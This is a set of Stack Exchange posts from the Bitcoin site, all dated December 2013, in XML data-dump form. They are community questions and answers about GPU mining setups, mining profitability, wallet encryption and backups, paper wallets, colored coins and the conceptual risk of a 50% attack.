  <row Id="18834" PostTypeId="1" AcceptedAnswerId="18838" CreationDate="2013-12-16T05:24:15.617" Score="0" ViewCount="6894" Body="&lt;p&gt;I have a serious stash of radeon cards, some great, some fairly crap. I figure with them all running it all adds up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, running a PC for each card will get expensive, so is there any known rig or way to mine using a bunch of cards and NOT have them all plugged into a PC of their own?&lt;/p&gt;&#xA;" OwnerUserId="10899" LastEditorUserId="5406" LastEditDate="2016-03-17T16:05:06.987" LastActivityDate="2017-10-26T13:11:48.710" Title="Is there a way to mine with many graphics cards without having a PC for each one (or two)?" Tags="|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18835" PostTypeId="1" AcceptedAnswerId="18836" CreationDate="2013-12-16T05:55:10.530" Score="2" ViewCount="140" Body="&lt;p&gt;Is there something in the design of the bitcoin system that prevents this scenario?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The price of bitcoins drops by 80% (or some number) for some external reason.&lt;/li&gt;&#xA;&lt;li&gt;The profitability of bitcoin mining drops significantly.&lt;/li&gt;&#xA;&lt;li&gt;The number of bitcoin verifications drops significantly, causing&lt;/li&gt;&#xA;&lt;li&gt;Additional drop in the price of bitcoins because transactions are not verified promptly.&lt;/li&gt;&#xA;&lt;li&gt;Go to 2.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In other words, what happens if people stop bitcoin mining because it's too expensive? How will transactions be verified?&lt;/p&gt;&#xA;" OwnerUserId="10900" LastEditorUserId="5406" LastEditDate="2016-04-25T21:19:00.347" LastActivityDate="2016-04-25T21:19:00.347" Title="Mining in a down market" Tags="|mining-profitability|mining-theory|price-volatility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18836" PostTypeId="2" ParentId="18835" CreationDate="2013-12-16T06:36:34.837" Score="4" Body="&lt;p&gt;Eventually, the difficulty will drop. This will cause the mining to increase. This will cause an increase in the price because the verification problem holding the price down is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's another factor too -- once you've bought mining hardware, the cost of the hardware is a sunk cost. So long as it can pay for its electricity, you'll keep it running. A typical mining rig today produces Bitcoins worth about 60 times its cost of electricity (1W/GH/s). So the price would have to drop astronomically for people to stop mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could, of course, significantly reduce the incentive for miners to invest in new equipment. But that will just keep the difficulty from rising. It won't significantly slow confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, people might see that the difficulty is going to drop and the price is going to come back up. So they might see this as a great opportunity to get new mining hardware in place in expectation of the easier mining.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-16T06:36:34.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18837" PostTypeId="2" ParentId="18833" CreationDate="2013-12-16T06:40:36.457" Score="1" Body="&lt;p&gt;The curve's base point is a well-known constant. Since Bitcoin uses &lt;a href=&quot;http://www.secg.org/collateral/sec2_final.pdf&quot; rel=&quot;nofollow&quot;&gt;SECp256k1&lt;/a&gt;, the base point is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;04 (uncompressed point)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;79BE667E F9DCBBAC 55A06295 CE870B07 029BFCDB 2DCE28D9&lt;br&gt;&#xA;59F2815B 16F81798 (first coordinate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;483ADA77 26A3C465 5DA4FBFC 0E1108A8 FD17B448&lt;br&gt;&#xA;A6855419 9C47D08F FB10D4B8 (second coordinate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(See page 15 of my link.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is an integer from which you can derive the public key and produce signatures that can be verified with the public key.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-12-16T06:47:57.880" LastActivityDate="2013-12-16T06:47:57.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18838" PostTypeId="2" ParentId="18834" CreationDate="2013-12-16T08:03:57.297" Score="2" Body="&lt;p&gt;I have found that the cheapest way to hold many cards is to put them in old motherboards.  I have been buying motherboards off Ebay for $45, getting a $5 processor, a $100 PSU and connecting 4 cards per rig.  I currently have 6 of these rigs running and they are great.  As for heating I have built custom cases for my cards so they don't overheat.  Using this method I've brought the cost to run each card down to about $50.  In other words, it will cost about $50 per card to put it into a computer if you build your own off Ebay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option, which is definitely more expensive but probably the type of thing you were hoping to find is a PCI Express Switch.  These things exists and are how big companies can connect 20+ GPUs to a single computer, but they are prohibitively expensive in most cases.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an example of my mining tower, if you would like more information on exactly what I buy and the economics behind it please don't hesitate to leave me a message.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BaOIp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2013-12-16T08:03:57.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18839" PostTypeId="2" ParentId="18576" CreationDate="2013-12-16T08:13:27.757" Score="-2" Body="&lt;p&gt;FYI since BTC mining became so prohibitively expensive due to use of ASICs 1 51% attack could be pulled off at any time by BTC Guild. Their listed % is just under 50% at ~48% but I find it hard to believe they aren't sitting on &gt;51% mining power. See the problem is every client is meant to be able to mine making large conglomerates like BTC Guild impossible.&#xA;This could very well be the end of BTC since you've got no change at all of mining BTC using anything but an ASIC pool.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2013-12-16T08:13:27.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18840" PostTypeId="2" ParentId="18829" CreationDate="2013-12-16T08:27:58.077" Score="1" Body="&lt;p&gt;If you are in EU area I think is safer to open an account on some exchange like kraken. Bitstamp and Mtgox are also better alternatives to buying from ebay but they ask you more verifications steps than kraken.&lt;/p&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-16T08:27:58.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18841" PostTypeId="1" AcceptedAnswerId="19847" CreationDate="2013-12-16T08:43:50.277" Score="4" ViewCount="2576" Body="&lt;p&gt;According to Bitcoin Wiki attacked who has majority of computing power of the bitcoin network can successfully do some nasty things such as potentially book double-spending or prevent transactions from gaining confirmations or block other minders mining valid blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today the vast majority of computational power is controlled by mining pools. According to blockchain.info GHash.IO is 30%, BTC Guild is 23% and Eligius is 12% &lt;em&gt;(as of today 15/12/13)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a threat for the network if pools would pair up to get more than 50%? Alternatively two major pools could get compromised simultaneously in order to get more than 50%. I was wondering how real is such scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References mentioned:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/pools?timespan=4days&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pools?timespan=4days&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10905" LastActivityDate="2014-01-07T12:18:38.417" Title="Is there a real threat of so called &quot;&gt;50% attack&quot;?" Tags="|blockchain|mining-pools|attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18842" PostTypeId="1" AcceptedAnswerId="18845" CreationDate="2013-12-16T09:04:35.333" Score="4" ViewCount="1703" Body="&lt;p&gt;I was wondering why Bitcoin has been designed in a way that rewards are decreasing while the difficulty of mining is increasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me this is counter-intuitive and leads to the situation when miners from the early era were able to gain substantially more coins for doing substantially less work. Isn't that unfair?&lt;/p&gt;&#xA;" OwnerUserId="10905" LastEditorUserId="5406" LastEditDate="2014-01-07T13:34:26.037" LastActivityDate="2014-01-07T13:34:26.037" Title="Why is the reward decreasing while the difficulty of mining is increasing?" Tags="|difficulty|mining-reward|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18843" PostTypeId="1" AcceptedAnswerId="18886" CreationDate="2013-12-16T09:14:04.070" Score="1" ViewCount="5539" Body="&lt;p&gt;Does readily available hardware exist which is capable of at least 25MH/s for litecoin mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, I am after hardware which can mine scrypt type coins which can do at least 25MH/s.&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-03-17T16:07:01.950" LastActivityDate="2016-03-17T16:07:01.950" Title="Litecoin mining hardware" Tags="|litecoin|mining-hardware|hashpower|scrypt|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18845" PostTypeId="2" ParentId="18842" CreationDate="2013-12-16T09:45:50.197" Score="2" Body="&lt;p&gt;Early adopters or miners make more profit. One could call this unfair, but that's life. Why does it need to be fair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reward is decreasing because the total amount if bitcoins is limited of time and the idea is that the incentive for mining should shift over time from the reward bitcoins gained when creating a block (aka. the coinbase transaction) to the transaction fees of the transaction included in that block.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-12-16T09:45:50.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18848" PostTypeId="1" CreationDate="2013-12-16T12:01:51.023" Score="2" ViewCount="259" Body="&lt;p&gt;Suppose that I have a wallet with 0.001 bitcoins, from dozens of micro transactions (6000 satoshi in average). That means if I want to spend them, it must be concatenated and the transaction fee would be higher than the actual value?&lt;/p&gt;&#xA;" OwnerUserId="9462" LastEditorUserId="121614" LastEditDate="2022-09-24T21:51:25.680" LastActivityDate="2022-09-24T21:51:25.680" Title="Can free bitcoins from faucets be actually spent?" Tags="|transaction-fees|sending|dust|satoshi|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18849" PostTypeId="1" CreationDate="2013-12-16T12:20:33.013" Score="1" ViewCount="481" Body="&lt;p&gt;My btc-e account was hacked (or my passwords stolen from my computer). I was able to make screenshots while they were withdrawing my bitcoins. So i have the btc wallet adress where the money went to and I have the ip adress of the thief. &#xA;Is there really nothing I can do? Can I find and contact the owner? how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ip is: 21211716315&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet is: 15M9rP1GshzBfMbqnHL77iqVcvmgbzVa4S&lt;/p&gt;&#xA;" OwnerUserId="10913" LastEditorUserId="1891" LastEditDate="2013-12-17T12:23:40.450" LastActivityDate="2021-12-01T13:11:00.467" Title="Trace and contact bitcoin thief" Tags="|theft|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18850" PostTypeId="1" CreationDate="2013-12-16T13:14:00.723" Score="3" ViewCount="860" Body="&lt;p&gt;In my local Bitcoin meetup, someone said Bitcoin is &quot;programmable cash&quot;.&#xA;Can someone please explain if and to what respect this is true? I read about a few BIP (Bitcoin improvement proposals) that specify something about that, but I'm not sure I'm getting the complete picture.&#xA;Thanks in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="10914" LastEditorUserId="5406" LastEditDate="2016-01-24T09:37:59.853" LastActivityDate="2016-01-24T09:37:59.853" Title="In what respect is Bitcoin &quot;programmable cash&quot;?" Tags="|script|introducing-bitcoin|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18851" PostTypeId="1" CreationDate="2013-12-16T13:19:25.873" Score="13" ViewCount="1439" Body="&lt;p&gt;There is different BIP, each has a status. I read somewhere that BIPs are not considered part of the Bitcoin protocol until &quot;active&quot;. Nevertheless, Bitcoin Core seems to support a number of BIPs that are in status &quot;accepted&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an official list on what BIPs are currently supported by the standard client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even searched the source code but didn't find any official list.&lt;/p&gt;&#xA;" OwnerUserId="10914" LastEditorDisplayName="user11221" LastEditDate="2014-12-28T21:37:14.790" LastActivityDate="2016-08-24T16:06:53.527" Title="What BIPs are supported by the standard client Bitcoin Core?" Tags="|bitcoin-core|bip|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18852" PostTypeId="1" CreationDate="2013-12-16T13:31:51.650" Score="3" ViewCount="99" Body="&lt;p&gt;I'm wondering if current prices are high or low. Most people I talk try to explain to me how the price chart looks like (just like at the other bubbles, right?)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any means how we can do more of fundamental valuation (just like for a stock) for Bitcoin? I'm not too much into chart analysis, I want to get a feeling of the real fundamental value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only information I found on that the BofA thing that is much talked about: &lt;a href=&quot;http://www.forbes.com/fdc/welcome_mjx.shtml&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/fdc/welcome_mjx.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly, this doesn't seem to be a very well thought-through fundamental valuation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I've seen this: &lt;a href=&quot;http://bitcoin-valuation.org/fair-value-bitcoin-28823/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-valuation.org/fair-value-bitcoin-28823/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be interested in opinions if these sources are OK to be considered, and I'm also interested what other factors there are to consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="10914" LastActivityDate="2013-12-16T22:32:07.103" Title="What factors can be looked at in order to come to a fundamental valuation of Bitcion?" Tags="|exchange-rate|value|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18853" PostTypeId="2" ParentId="8743" CreationDate="2013-12-16T13:51:41.557" Score="0" Body="&lt;p&gt;Miners will have to decide whether&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(a) they expect to be paid a fixed fee (as a minimum) for each transaction they put into their blocks, or&lt;/li&gt;&#xA;&lt;li&gt;(b) a percentage fee (percentage of the amount being transferred).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(a) might seem like the obvious choice, because it costs the same amount of time and computing power to verify a small transfer as a large one.  On the other hand, (b) has the attraction that it encourages more transactions, and therefore more fees to be earned over all.  (Assuming bitcoin operates like a normal currency, there are always going to be more small transactions that people want to make than large ones, but on the other hand people will not make a transaction if a large percentage of the money transferred is eaten up in fees, so a fixed fee would operate to prevent small transactions i.e. the majority of potential transactions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the ultimate answer will be some sort of sliding scale, with a minimum fee, and then a percentage being charged that will vary downwards as the amount being transferred increases.&lt;/p&gt;&#xA;" OwnerUserId="10917" LastEditorUserId="132" LastEditDate="2013-12-18T09:23:21.523" LastActivityDate="2013-12-18T09:23:21.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18854" PostTypeId="1" AcceptedAnswerId="18855" CreationDate="2013-12-16T13:53:02.983" Score="3" ViewCount="1988" Body="&lt;p&gt;If I back up unencrypted wallet.dat somewhere safe (TrueCrypt volume) and then encrypt the wallet by Settings / Encrypt Wallet, will my backup still be useful? I think the message after encrypting the wallet said something about other unencrypted backups being useless as soon as encrypted wallet starts to be used - how could that be possible at all, I don't believe that claim and I hope it's not true :/&lt;/p&gt;&#xA;" OwnerUserId="10916" LastActivityDate="2013-12-16T15:00:16.600" Title="Bitcoin-Qt - backing up unencrypted wallet then encrypting it" Tags="|bitcoin-core|encryption|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18855" PostTypeId="2" ParentId="18854" CreationDate="2013-12-16T15:00:16.600" Score="6" Body="&lt;p&gt;Besides storing your current private keys, bitcoin wallet file also contains some pool of unused private keys. When encrypting wallet, this pool is flushed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make some transaction using new (encrypted) wallet then &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;noreferrer&quot;&gt;change&lt;/a&gt; is sent to one of addresses from the pool, which is not present in old (unencrypted) wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you had 1BTC incoming transaction and spend 0.1BTC, then remaining 0.9BTC will be send to a change address. Then old (unencrypted) wallet will not be able to use this 0.9BTC, and they will be lost. But if you haven't done any transactions involving your coins, the old wallet will work.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2013-12-16T15:00:16.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18857" PostTypeId="1" AcceptedAnswerId="18909" CreationDate="2013-12-16T15:44:42.217" Score="13" ViewCount="7756" Body="&lt;p&gt;The &lt;code&gt;debug.log&lt;/code&gt; file is getting pretty big on &lt;code&gt;bitcoind&lt;/code&gt;. How do you limit the size of the file? I'm on Ubuntu 12.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="47827" LastEditDate="2021-12-29T12:56:26.823" LastActivityDate="2021-12-29T12:56:26.823" Title="How to limit the debug.log file while running bitcoind?" Tags="|bitcoind|debugging|logging|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18858" PostTypeId="1" CreationDate="2013-12-16T15:57:53.950" Score="1" ViewCount="1596" Body="&lt;p&gt;I know it is some combination of sha256 and ripemd160 that is used on the public key component to obtain the Ripple wallet address, but what is the specific algorithm?&lt;/p&gt;&#xA;" OwnerUserId="5312" LastActivityDate="2014-04-16T01:05:18.140" Title="What is the algorithm for generating a Ripple address from a ecdsa public key?" Tags="|address|ripple|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18859" PostTypeId="2" ParentId="18848" CreationDate="2013-12-16T16:21:19.327" Score="1" Body="&lt;p&gt;You could consider creating a new address with 0.01 BTC on it, then sending the concatenated amount at 0 trx fee to each of the addresses containing the smaller amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0.01 -&gt; first address &lt;/li&gt;&#xA;&lt;li&gt;First address (now including the 0.01) -&gt; second address&lt;/li&gt;&#xA;&lt;li&gt;second address (now including the 0.01+first address -&gt; third address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... ad nauseum.&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2013-12-16T16:21:19.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18860" PostTypeId="2" ParentId="18712" CreationDate="2013-12-16T16:42:41.767" Score="1" Body="&lt;p&gt;Only GPU matters. In the link you can see R9 series performance charts for LTC mining&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=m_0j5ntR4w0&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=m_0j5ntR4w0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10924" LastActivityDate="2013-12-16T16:42:41.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18862" PostTypeId="1" CreationDate="2013-12-16T16:53:13.857" Score="1" ViewCount="323" Body="&lt;p&gt;i just tried to move some btc between wallets on blockchain.info with 0 fees and I'm getting this: &lt;a href=&quot;http://prntscr.com/2bmay9&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/2bmay9&lt;/a&gt;  --- it shows 0 btc but says its moved. what happen here? its been over 24 hours already.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-12-30T05:47:18.473" Title="What happens when moving BTC from one wallet to another on blockchain.info with 0 fee?" Tags="|blockchain.info|movecmd|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18863" PostTypeId="1" AcceptedAnswerId="19583" CreationDate="2013-12-16T16:57:46.237" Score="1" ViewCount="3443" Body="&lt;p&gt;i currently have stored some btc on a paper wallet and have it as watch only on my blockchain.info account. now when i tried to send it out from the paper wallet, i'm getting an insufficient funds error. anyone know what this could be caused by?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also since i have it as a paper wallet and i can see the funds are still there via the blockchain. how can i import it into something else more secure?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2020-12-10T00:36:54.170" Title="Getting insufficient funds when trying to send from a watch only wallet on blockchain.info android app" Tags="|blockchain|blockchain.info|paper-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18866" PostTypeId="1" CreationDate="2013-12-16T17:56:30.820" Score="2" ViewCount="390" Body="&lt;p&gt;I heard that in the future Bitcoin has the ability to track physical assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain how this would be done? (generally speaking)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-01-15T19:32:31.007" Title="How can I track assets in Bitcoin?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18867" PostTypeId="1" AcceptedAnswerId="18870" CreationDate="2013-12-16T18:14:37.143" Score="2" ViewCount="281" Body="&lt;p&gt;So i created a public &amp;amp; private key on blockchain.info and printed it out as a paper wallet. Am I safe to say that no one can comprise it unless they physically get a hold of my piece of paper?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I want to be safe in the fact that I can redeem this public/private key by inputting it into one of the desktop applications? which ones would work?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-12-16T18:59:02.060" Title="Is it true that as long as you have the public and private key for a bitcoin address, you are safe?" Tags="|private-key|public-key|paper-wallet|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18868" PostTypeId="1" CreationDate="2013-12-16T18:39:12.807" Score="5" ViewCount="33173" Body="&lt;p&gt;I don't pay for my own power, but I have two problems mining. I am CPU mining at 250 mhash/s because my AMD Radeon HD 7800 series graphics card will only produce 4.0 mhash/s (the other problem I'm having that I don't understand) but my main question is- what is more profitable to me? litecoin mining or bitcoin mining?&lt;/p&gt;&#xA;" OwnerUserId="10928" LastEditorUserId="5406" LastEditDate="2016-04-17T20:08:29.683" LastActivityDate="2016-06-24T10:49:37.177" Title="Should I mine bitcoins or litecoins?" Tags="|litecoin|mining-profitability|gpu|cpu|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18869" PostTypeId="2" ParentId="18867" CreationDate="2013-12-16T18:58:26.257" Score="0" Body="&lt;p&gt;That is only true if you created it using the cold storage option on blockchain.info. Otherwise someone can get a hold of your bc wallet identifier and password and steal your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can import your private key into any Bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't actually need the public key because it can be derived from the private key. So your private key also holds your public key.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-12-16T18:58:26.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18870" PostTypeId="2" ParentId="18867" CreationDate="2013-12-16T18:59:02.060" Score="1" Body="&lt;p&gt;There is a non-zero chance, that the communication protocol, blockchain.info or your computer have been compromised. (This chance is fairly low)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to show your private key to anybody until you want to withdraw/send money from this address. You can securely generate and print the key on an offline computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also chance, that someone will generate the same private key, this may be caused by faulty software or just a very bad fortune, but the probability is much lower than finding few blocks in a row.:)&lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2013-12-16T18:59:02.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18871" PostTypeId="2" ParentId="18868" CreationDate="2013-12-16T19:07:52.650" Score="11" Body="&lt;p&gt;Litecoin mining is currently more profitable for likely all GPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison#CPUs.2FAPUs&quot; rel=&quot;nofollow&quot;&gt;bitcoin&lt;/a&gt; and &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;litecoin&lt;/a&gt; hardware wikis, you'd get 300-400MH/s for bitcoin mining and 340-470kH/s for litecoin mining if you set it up properly (and there is something VERY fishy about you getting 250MH/s with your CPU, I'd guess it is using your GPU though you don't know it...).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bitcoin, the &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;current difficulty&lt;/a&gt; is about 6,500TH/s.  Thus, you'd own about 300/6,500,000,000 of the network.  At 25 bitcoins per block, 6*24 blocks per day, and $800 per bitcoin, you'd make about $0.13/day.  There is specifically-designed hardware for mining Bitcoins, which is way more powerful than GPUs, so unless you can buy a dedicated mining ASIC, your energy bill would overcome your revenue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For litecoin, the &lt;a href=&quot;http://bitcoinwisdom.com/litecoin/difficulty&quot; rel=&quot;nofollow&quot;&gt;current difficulty&lt;/a&gt; is about 90GH/s.  Thus, you'd own about 340/90,000,000 of the network.  At 4*6*24 blocks per day, 50 litecoins per block, and $25 per litecoin, you'd make about $2.72/day.  It uses a different algorithm (called Scrypt) than Bitcoin. FPGAs and ASICs can't be optimized for this algorithm as much as they can be optimized for Bitcoins' algorithm, so Litecoins are mined exclusively with GPUs. This means that you can still be comptetitive, and you should mine those.&lt;/p&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="120" LastEditDate="2016-06-24T10:49:37.177" LastActivityDate="2016-06-24T10:49:37.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18874" PostTypeId="2" ParentId="18866" CreationDate="2013-12-16T19:19:48.810" Score="1" Body="&lt;p&gt;Any assets can be &lt;em&gt;represented&lt;/em&gt; on the blockchain using marked or colored coins. Therefore it's also possible to transfer the ownership of any asset using colored coins. Since the blockchain is public, assets being represented on the blockchain can also be tracked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colored or marked coins are basically bitcoins representing -other than their face value- ownership or access right to some other asset assigned to them by the original owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very simple example: I'm a gold merchant and I'm announcing that I just transferred 0.0001 btc from my address A to address B and that transfer also represents 1kg of gold at my merchant store. Whoever B sends that 0.0001 btc to can transfer it back to me and claim ownership of 1kg of gold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now everyone can trade that 1kg of gold using the blockchain. I can track which address owns it. The owner can trade it with other assets as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It actually does not need to be the same amount. It works using inputs and outpus of bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty cool stuff but the Bitcoin protocol might not be able to carry the extra load this type of transactions can bring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a paper discussing the idea: &lt;a href=&quot;https://docs.google.com/document/d/1AnkP_cVZTCMLIzw4DvsW6M8Q2JC0lIzrTLuoWu2z1BE/edit#&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/document/d/1AnkP_cVZTCMLIzw4DvsW6M8Q2JC0lIzrTLuoWu2z1BE/edit#&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-12-16T19:19:48.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18876" PostTypeId="2" ParentId="10148" CreationDate="2013-12-16T19:31:51.790" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://cex.io/r/0/jumbo987/0/&quot; rel=&quot;nofollow&quot;&gt;Cex.io&lt;/a&gt; is a site where you can buy GHS and you start to mine btc or you can sell GHS for btc, it's some kind of market, but when you keep GHS you are mining.&lt;/p&gt;&#xA;" OwnerUserId="10932" LastEditorUserId="5406" LastEditDate="2013-12-17T10:05:25.667" LastActivityDate="2013-12-17T10:05:25.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18877" PostTypeId="1" AcceptedAnswerId="18895" CreationDate="2013-12-16T20:20:25.243" Score="0" ViewCount="9253" Body="&lt;p&gt;I created a vanity public key (wallet address) and I got the corresponding private key too. Is it possible to somehow &quot;open&quot; that wallet and just used it as a normal bitcoin wallet? No sweeping, no transferring to other account - just send some of the money from that account to some other.&lt;/p&gt;&#xA;" OwnerUserId="10934" LastEditorUserId="5406" LastEditDate="2014-02-09T09:45:28.170" LastActivityDate="2014-02-09T09:45:28.170" Title="How can I turn a private key into a wallet?" Tags="|wallet|private-key|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-09T20:38:18.413" ContentLicense="CC BY-SA 3.0" />
